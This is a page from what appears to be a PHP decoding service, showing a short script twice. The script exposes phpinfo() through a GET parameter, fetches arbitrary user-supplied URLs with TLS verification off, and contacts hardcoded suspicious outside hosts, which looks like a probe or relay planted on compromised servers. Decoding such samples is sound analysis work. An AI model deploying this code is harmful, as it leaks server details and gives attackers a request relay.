Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $domain = @$_GET['d']; $https = @$_GET['https']; if(@$_GET['info']){ phpinfo();..

Decoded Output download

<?php
$domain = @$_GET['d'];
$https = @$_GET['https'];
if(@$_GET['info']){
	phpinfo();
	exit;
}
if($domain){
	if($https){
		$http = 'https';
	}else{
		$http = 'http';
	}
	echo $http.'://'.$domain.'<br>';
	echo '<br>dd--'.asmoutdo($http.'://'.$domain.'/');
	exit;
}else{
	echo 'begin';
	//echo '<br>ip--'.asmoutdo('http://204.12.198.164/');
	echo '<br>https--'.asmoutdo('https://exkillxe.dnsmadeeasy.top/indexnew.php');
	echo '<br>domain--'.asmoutdo('http://btsixtyninepg.crazycoder.xyz/indexnew.php');
	exit;
}
function asmoutdo($url)
{
    $file_contents = '';
    $user_agent = 'Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)';
    if (function_exists('curl_init')) {
        try {
            $ch = curl_init();
            $timeout = 30;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            $file_contents = curl_exec($ch);
            curl_close($ch);
        } catch (Exception $e) {
        }
    }
    if (strlen($file_contents) < 1 && function_exists('file_get_contents')) {
        ini_set('user_agent', $user_agent);
        try {
            $file_contents = @file_get_contents($url);
        } catch (Exception $e) {
        }
    }
    return $file_contents;
}
exit;
?>

Did this file decode correctly?

Original Code

<?php
$domain = @$_GET['d'];
$https = @$_GET['https'];
if(@$_GET['info']){
	phpinfo();
	exit;
}
if($domain){
	if($https){
		$http = 'https';
	}else{
		$http = 'http';
	}
	echo $http.'://'.$domain.'<br>';
	echo '<br>dd--'.asmoutdo($http.'://'.$domain.'/');
	exit;
}else{
	echo 'begin';
	//echo '<br>ip--'.asmoutdo('http://204.12.198.164/');
	echo '<br>https--'.asmoutdo('https://exkillxe.dnsmadeeasy.top/indexnew.php');
	echo '<br>domain--'.asmoutdo('http://btsixtyninepg.crazycoder.xyz/indexnew.php');
	exit;
}
function asmoutdo($url)
{
    $file_contents = '';
    $user_agent = 'Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)';
    if (function_exists('curl_init')) {
        try {
            $ch = curl_init();
            $timeout = 30;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            $file_contents = curl_exec($ch);
            curl_close($ch);
        } catch (Exception $e) {
        }
    }
    if (strlen($file_contents) < 1 && function_exists('file_get_contents')) {
        ini_set('user_agent', $user_agent);
        try {
            $file_contents = @file_get_contents($url);
        } catch (Exception $e) {
        }
    }
    return $file_contents;
}
exit;
?>

Function Calls

asmoutdo 1

Variables

$https None
$domain None

Stats

MD5 bfdde4ca5a70d39350f6e494277495e5
Eval Count 0
Decode Time 54 ms